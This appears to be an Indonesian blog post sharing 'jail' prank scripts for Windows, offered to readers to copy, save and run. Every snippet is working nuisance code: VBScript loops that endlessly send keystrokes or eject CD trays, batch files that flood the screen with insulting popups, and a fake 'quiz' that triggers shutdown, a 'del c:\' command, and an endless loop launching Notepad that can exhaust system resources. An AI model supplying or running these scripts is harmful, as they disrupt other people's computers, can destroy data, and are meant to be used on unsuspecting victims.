Script Jail

Saya akan share cript jail nih sobat,caranya gak sulit kok cuman copas--save di notepad dengan ekstensi yang diminta trus buka deh,,cekidot deh langsung ke tkp :o


Keyboard Jail

Lihat Nih ?

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "sabotase keyboard, etc"
loop

save di notepad dengan eksistensi .vbs

Backspace Trouble

Lihat Nih ?

MsgBox "ilham slalu bilang : anda harus mengulang kembali"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save di notepad dengan eksistensi .vbs

 ENTER YG TIADA KESUDAHANNYA ....Ampuuunnn

Lihat Nih ↓

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save di notepad dengan eksistensi .vbs

Lihat Nih ?

@ECHO off
:Begin
msg * Kenna Deh
msg * Huahahaha
msg * Install Ulang Aja
msg * Gak Mau Ya ?
msg * Terserah
msg * Mari Kita Bermain
msg * Nikmatilah hidup ini
msg * Jangan MENYERAH
msg * Jangan PANIK
msg * Jangan PUTUS ASA
msg * Jangan GROGI
msg * Huahahaha
msg * Saya tidak bermaksud JAHAT
msg * Hanya ISENG
msg * OKE lah Kalau begitu
msg * Perkenalkan SAYA
msg * EMPATUJUH CODE
msg * Kenal SAYA ?
msg * Gak kenal kan ?
msg * Makanya Rasakan ini
msg * Lain Kali Jangan KLIK SEMBARANG
msg * Gini aja
msg * Telepon Teman Kamu yg PINTAR
msg * Beresin Masalah ini
msg * Sebelum Terlambat
msg * OK
msg * Bye
msg * Love you Full
msg * Anjing
msg * Babi
msg * upss KECEPLOSAN
msg * huahahaha
GOTO BEGIN

 Pesan MALAPETAKA ۝

save di notepad dengan eksistensi .bat
kata-kata dibelakang msg * dapat diganti sesuai selera

Lihat Nih ?

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

BUKA TUTUP CD/DVD SECARA OTOMATIS :O

Lihat Nih ?

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save nama script diatas dg ekstensi *.vbs

kuis ajaib :D

Lihat Nih ?

@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save di notepad dengan eksistensi .bat

vbs Script nongol mulu

Lihat Nih ?

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save di notepad dengan eksistensi .vbs

okeh deh segitu aja dari ane :D
selamat mencoba